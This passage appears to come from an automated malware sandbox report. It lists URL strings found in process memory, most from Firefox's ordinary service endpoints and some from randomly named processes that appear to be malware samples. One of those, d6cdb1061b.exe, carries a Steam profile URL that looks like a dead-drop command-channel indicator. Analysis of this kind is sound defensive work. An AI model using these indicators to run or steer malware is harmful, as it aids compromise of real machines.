Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3355984254.000002310520B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3341288663.00000230FE2CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitNumber
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000037.00000002.3316905694.00000230FB703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3321948825.00000230FBBD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000037.00000002.3330390371.00000230FCBE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3332399459.00000230FCC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3321948825.00000230FBBD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000037.00000002.3341288663.00000230FE271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000037.00000002.3341288663.00000230FE271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3337856699.00000230FD224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comenv.channel
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2910862097.00000230FA833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3088489367.00000230FA838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7ED0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3032209728.00000230F8021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2910862097.00000230FA833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3088489367.00000230FA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2910862097.00000230FA833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3088489367.00000230FA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000037.00000002.2995908921.00000230EAEDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestwebcompat-reporter
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8F55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F70B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000037.00000002.3358688524.00001F2410804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2910862097.00000230FA833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3088489367.00000230FA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000003.2910862097.00000230FA833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3088489367.00000230FA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8F9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8F55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/Web
Source: firefox.exe, 00000037.00000002.3007602149.00000230F70B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comP
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comtestPermissionFromPrincipalupgradeTabsProgressListener
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3316905694.00000230FB773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3316905694.00000230FB773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000037.00000002.3345374154.00000230FE7C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3355984254.0000023105289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Endpoint
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_ke
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8FCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3010499692.00000230F7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3345374154.00000230FE7D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3345374154.00000230FE74F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.2995908921.00000230EAED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userpreffedRegionsBlockString
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userpreffedRegionsBlockStringAS_ROUTER_TELEMETRY_USER_EVENTDISCOVERY_STR
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelCould
Source: d6cdb1061b.exe, 00000029.00000002.2980338808.00000000022E0000.00000040.00001000.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2781014308.0000000002320000.00000004.00001000.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2967658282.0000000000400000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199807592927
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.0000000000400000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199807592927d0wntgMozilla/5.0
Source: 1747150d4f.exe, 00000007.00000003.2745906298.0000000003CA5000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830513281.0000000003BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000037.00000002.3043339127.00000230F8F55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F70B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000037.00000002.3339097528.00000230FD3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 8b334ae3d2.exe, 00000028.00000003.2903941390.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpInternalTestingProfi
Source: firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000037.00000002.3327016824.00000230FC785000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000037.00000002.3341288663.00000230FE299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsPanelUI._onNotificationButt
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesgetCanApplyUpdates
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationAttempting
Source: 8b334ae3d2.exe, 00000028.00000003.2903941390.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgnetwork.proxy.backup.socksaccount-connection-connectedPERMISSION_REQUEST_
Source: 1747150d4f.exe, 00000007.00000003.2771839096.0000000003C57000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2745906298.0000000003CA3000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2748709604.0000000003C57000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2771520499.0000000003C57000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830513281.0000000003BAF000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2831033218.0000000003BA8000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2853660111.0000000003BA8000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830693485.0000000003BA8000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2853853991.0000000003BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 1747150d4f.exe, 00000007.00000003.2748709604.0000000003C32000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830693485.0000000003B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 1747150d4f.exe, 00000007.00000003.2771839096.0000000003C57000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2745906298.0000000003CA3000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2748709604.0000000003C57000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000003.2771520499.0000000003C57000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830513281.0000000003BAF000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2831033218.0000000003BA8000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2853660111.0000000003BA8000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830693485.0000000003BA8000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2853853991.0000000003BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 1747150d4f.exe, 00000007.00000003.2748709604.0000000003C32000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830693485.0000000003B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
